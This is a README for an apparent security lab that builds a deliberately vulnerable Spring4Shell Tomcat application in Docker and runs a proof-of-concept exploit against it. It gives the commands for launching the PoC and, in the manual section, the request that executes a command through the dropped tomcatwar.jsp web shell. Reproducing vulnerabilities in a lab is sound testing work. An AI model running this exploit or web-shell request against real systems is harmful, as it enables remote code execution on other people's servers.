README.md

Example of a spring4shell vulnerable Tomcat application

Example (Docker)

Prebuilt image availible at Docker Hub

An example of a vulnerable Tomcat application + server.

War files built from /spring-war folder. (It is recommended to build your own war files but i have provided one based on https://spring.io/guides/gs/handling-form-submission/)

Build

Building the docker version of the vunurable application, you can build your own war files.

Building your own war file

You can use the provided spring-form.war or build your own

Prerequisites (Only if building your own war files)

• Java
• Java JDK (I have only tested with JDK 18)
• Maven

cd spring-war
mvn clean package
cd target
mv spring-form.war ../../ # Linux move the war file to vunerable-tomcat
move spring-form.war ../../ # Windows
cd ../../

Building and starting the docker container

docker build -t vulnerable-tomcat .
docker run -it --rm -p 8888:8080 vulnerable-tomcat

Wait about 20 seconds for the server to start. Then run the exploit script.

python3 poc.py --url http://<dockerip>:8888/spring-form/greeting
#or docker variant
docker pull ghcr.io/bobtheshoplifter/spring4shell-poc:main
docker run ghcr.io/bobtheshoplifter/spring4shell-poc:main --url http://<dockerip>:8888/spring-form/greeting

If all goes well you should see something simular to this!

Example (Manual/Old)

Found intresting poc here : https://github.com/craig/SpringCore0day/blob/main/exp.py [^1]. & https://twitter.com/vxunderground/status/1509170582469943303

https://github.com/reznok/Spring4Shell-POC - Docker, POC

• clone sample repo from https://spring.io/guides/gs/handling-form-submission/
• you can skip right to the gs-handling-form-submission/complete directory, no need to follow the tutorial
• modify it so that you can build a war file (https://www.baeldung.com/spring-boot-war-tomcat-deploy). build war file :)
• install tomcat9 + java 11 (i did it on ubuntu 20.04 via apt-get)
• deploy the war file
• update the PoC (https://share.vx-underground.org/) to write the tomcatwar.jsp file to webapps/handling-form-submission instead of webapps/ROOT
• run PoC (ignore the URL it gives you for the webshell): python3 exp.py --url http://your.ip.here:8080/handling-form-submission-complete/greeting
• you should see the "tomcatwar.jsp" file now in webapps/handling-form-submission
• hit http://your.ip.here:8080/handling-form-submission/tomcatwar.jsp?pwd=j&cmd=id to see the results